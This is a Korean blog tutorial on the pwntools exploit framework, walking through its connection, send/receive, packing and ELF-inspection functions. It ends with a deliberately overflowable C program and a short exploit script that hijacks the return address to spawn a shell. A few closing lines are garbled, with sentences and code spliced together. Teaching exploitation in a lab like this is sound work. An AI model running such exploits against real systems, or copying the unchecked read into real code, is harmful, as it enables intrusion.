pwntools는 Gallospled 팀이 개발한 파이썬 익스플로잇 프레임워크로, 익스플로잇을 할 때 유용한 여러 기능들을 제공해 준다.
다음과 같이 파이썬 인터프리터에서 pwn 모듈이 임포트되면 pwntools가 정상적으로 설치되었다는 것을 알 수 있다.
remote
remote는 원격 서비스에 접속하여 통신할 때 사용되는 클래스이다.
p = remote("127.0.0.1", 5000)
위 코드는 127.0.0.1 주소에 열려있는 5000번 포트에 TCP 연결을 맺는다. 연결이 성공적으로 맺어지면 remote 객체를 리턴한다.
process
process는 로컬 프로세스를 실행하여 통신할 때 사용되는 클래스이다.
p = process("/home/theori/binary")
위 코드는 로컬 파일시스템에 존재하는 /home/theori/binary 바이너리를 실행한다.
process 클래스는 로컬에서 바이너리를 실행할 때 환경 변수를 직접 설정할 수 있고, 프로그램을 실행할 때 인자를 전달해야 할 경우 전달할 수 있다.
send/recv
소켓에 연결하거나 프로그램을 실행할 때 데이터를 보내고 읽어들이는 작업을 해야 한다. 이때 send 함수와 recv 메소드를 사용할 수 있다. 또 해당 메소드의 경우 연결이 맺어진 객체가 존재해야 사용할 수 있다.
send
send는 연결이 맺어진 객체에 데이터를 보내는 메소드이다.
p = remote("127.0.0.1", 22)
p.send("AAAA")
위 코드는 "127.0.0.1"의 22번 포트에 연결한 후 "AAAA"를 보낸다.
+ sendline은 연결이 맺어진 객체에 개행을 포함하는 데이터를 보내는 메소드이다.
recv
recv는 연결이 맺어진 객체로부터 수신한 데이터를 리턴하는 메소드이다.
p = remote("127.0.0.1", 22)
print p.recv(1024)
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
위 코드는 "127.0.0.1"의 22번 포트에 연결했을 때 출력되는 문자열을 1024바이트 만큼 수신하여 출력한다.
+ recvline은 연결이 맺어진 객체로부터 개행까지 수신하여 리턴하는 메소드이다. 이땐, 읽을 바이트 수를 지정해주지 않고 개행까지 읽어들인다.
recvuntil은 연결이 맺어진 객체에서 원하는 문자 혹은 문자열까지 읽는 메소드이다.
p = remote("127.0.0.1", 22)
print p.recvuntil("SSH")
SSH
"SSH" 문자열까지 읽어들이고 출력한 모습이다.
sendafter
send와 recv를 동시에 하는 메소드 또한 존재한다.
sendafter는 원하는 문자 혹은 문자열까지 읽은 뒤 데이터를 보내는 함수이다.
p = remote("127.0.0.1", 22)
print p.sendafter("\n","AAAA")
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
위 코드는 "127.0.0.1"의 22번 포트에 연결한 후 개행까지 읽어들이고 "AAAA"를 보낸다.p
pack/unpack
pack과 unpack은 각각의 데이터 크기에 맞게 데이터를 변환할 때 사용한다.
패킹 함수는 정수를 인자로 받아 패킹한 후 문자열 형태로 리턴한다.
반면에 언패킹 함수는 문자열을 인자로 받아 언패킹 한 후 정수 형태로 리턴한다.
두 함수는 리틀 엔디언 혹은 빅 엔디언 형태로 지정해줄 수 있고, 지정하지 않는다면 리틀 엔디언 형태로 변환한다. 데이터 크기에 따라 함수가 존재하기 때문에 데이터에 맞게 사용해야 한다.
pack
p8은 1 바이트의 데이터를 패킹하는 함수이다.
print p8(0x41)
A
0x41을 문자 형태로 변환하여 A를 리턴한 것을 확인할 수 있다.
p16은 2 바이트의 데이터를 패킹하는 함수이다.
print p16(0x4142)
BA
0x4142를 리틀 엔디언의 형태로 변환하여 "BA"를 리턴한 것을 확인할 수 있다.
p32는 4 바이트의 데이터를 패킹하는 함수이다.
print p32(0x41424344)
DCBA
0x41424344를 리틀 엔디언의 형태로 변환하여 "DCBA"를 리턴한 것을 확인할 수 있다.
p64는 8 바이트의 데이터를 패킹하는 함수이다.
print p64(0x4142434445464748)
HGFEDCBA
빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 된다.
unpack
u8은 1 바이트의 데이터를 언패킹 하는 함수이다.
print u8("A")
65
"A"를 정수 형태로 변환하여 65를 리턴한 것을 확인할 수 있다.
u16은 2 바이트의 데이터를 언패킹 하는 함수이다.
print u16("AB")
16961
print hex(16961)
0x4241
"AB"를 정수 형태로 변환하여 16961을 리턴한 것을 확인할 수 있다. hex 함수를 사용하여 16 진수로 변환하면 0x4241인 것을 알 수 있다.
u32는 4 바이트의 데이터를 언패킹 하는 함수이다.
print u32("ABCD")
1145258561
print hex(1145258561)
0x44434241
"ABCD"를 정수 형태로 변환하여 1145258561를 리턴한 것을 확인할 수 있다. hex 함수를 사용하여 16 진수로 변환하면 0x44434241인 것을 알 수 있다.
u64는 8 바이트의 데이터를 언패킹 하는 함수이다.
print u64("ABCDEFGH")
5208208757389214273
print hex(5208208757389214273)
0x4847464544434241
"ABCDEFGH"를 정수 형태로 변환하여 5208208757389214273를 리턴한 것을 확인할 수 있다.
빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 된다.
ELF
익스플로잇 코드를 작성할 때 함수 주소와 문자열 주소 등을 구해야 한다. 이때, ELF를 사용하면 ELF 헤더를 갖고 있는 파일의 경우 파일의 여러 데이터를 가져올 수 있다.
elf.c
// gcc -o elf elf.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() {
system("/bin/sh");
}
int main()
{
char buf[256];
printf("Hello World!");
read(0, buf, 1024);
return 0;
}
elf.c는 ELF를 사용하기 위한 예제이며, 스택 버퍼 오버플로우가 발생하는 코드이다.
다음과 같이 파일을 로딩할 수 있다.
elf = ELF('./elf')
[*] '/home/theori/elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ELF의 인자로 파일 경로를 전달하면 해당 파일에 적용된 보호 기법을 알 수 있고 파일의 객체는 elf 변수에 저장된다.
plt는 바이너리에 존재하는 PLT 주소를 가져온다.
print hex(elf.plt['printf'])
0x400480
print hex(elf.plt['system'])
0x40046c
바이너리 내에 printf@plt와 system@plt가 존재한다면 해당하는 주소를 가져올 수 있다.
got는 바이너리에 존재하는 GOT 주소를 가져옵니다.
print hex(elf.got['printf'])
0x601020
print hex(elf.got['system'])
0x601018
바이너리 내에 printf@got와 system@got가 존재한다면 해당하는 주소를 가져올 수 있다.
symbols는 바이너리에 존재하는 함수의 주소를 가져온다.
print hex(elf.symbols['giveshell'])
0x4005b6
바이너리 내에 giveshell 함수가 존재한다면 해당하는 주소를 가져올 수 있다.
search는 바이너리에 존재하는 문자열의 주소를 가져온다.
print hex(next(elf.search("Hello World!")))
0x40069c
예제는 printf 함수의 인자로 "Hello World!" 문자열이 존재하기 때문에 해당 문자열의 주소를 가져올 수 있다.
get_section_by_name은 바이너리에 존재하는 섹션의 주소를 가져온다.
print hex(elf.get_section_by_name('.bss').header.sh_addr)
0x601048
print hex(elf.get_section_by_name('.text').header.sh_addr)
0x4004c0
bss 섹션과 text 섹션의 주소를 가져올 수 있다.
read는 원하는 바이너리 주소의 데이터를 읽어옵니다.
print `elf.read(0x400000, 4)`
'\x7fELF'
print `elf.read(elf.symbols['main'], 4)`
'UH\x89\xe5'
read의 인자로 바이너리의 주소와 읽을 바이트 수를 전달하면 해당하는 주소에 존재하는 값을 읽어온다.
write는 원하는 바이너리 주소에 데이터를 쓴다.
print `elf.read(0x400000, 4)`
'\x7fELF'
elf.write(0x400000, "!!!")
print `elf.read(0x400000, 4)`
'!!!F'
elf.write(0x400000, "\x7fELF")
print `elf.read(0x400000, 4)`
'\x7fELF
0x400000 주소의 첫 4 바이트는 "\x7fELF" 값을 가지고 있다. write를 사용해서 "!!!" 문자열을 삽입하면 해당하는 주소에 값이 쓰이게 된다. 즉, 이는 특정 영역의 코드를 수정하기 위해서 사용할 수 있다.
# elf.py
from pwn import *
context.arch = 'x86_64'
p = process("./elf")
elf = ELF('./elf')
payload = "A"*264
payload += p64(elf.symbols['giveshell'])
p.send(payload)
p.interactive()
elf.py는 ELF를 사용하여 리턴 주소를 giveshell 함수의 주소로 덮어쓰는 코드이다.
$ python elf.py
[+] Starting local process './elf': pid 64468
[*] '/home/theori/elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
리턴 주소가 giveshell로 조작되면서 셸을 획득할 수 있다.
참조
bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
u16은 2 바이트의 데이터를 언패킹 하는 함수입니다.= remoe("127.0.0.1", 22)print p.sendafter("\n",
빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 됩니다.AAAA")SSH-2.0-OpenSSH_7.2p바이너리 내에 printf@plt와 system@plt가 존재한다면 해당하는 주소를 가져올 수 있습니다.2 Ubuntu-4u
'Hacking > Pwnable' 카테고리의 다른 글
[Pwnable] ELF 동적 분석 (0) | 2021.03.01 |
---|---|
[Pwnable] Dreamhack - Memory Corruption - C (I) (0) | 2021.02.28 |
[Pwnable] pwndbg 주요 사용법 (1) | 2021.02.27 |
[pwnable] Ubuntu 16.04에 Pwntools, Pwndbg 설치하기 (0) | 2021.02.26 |
[Pwnable] IDA Pro 사용법 (0) | 2021.02.26 |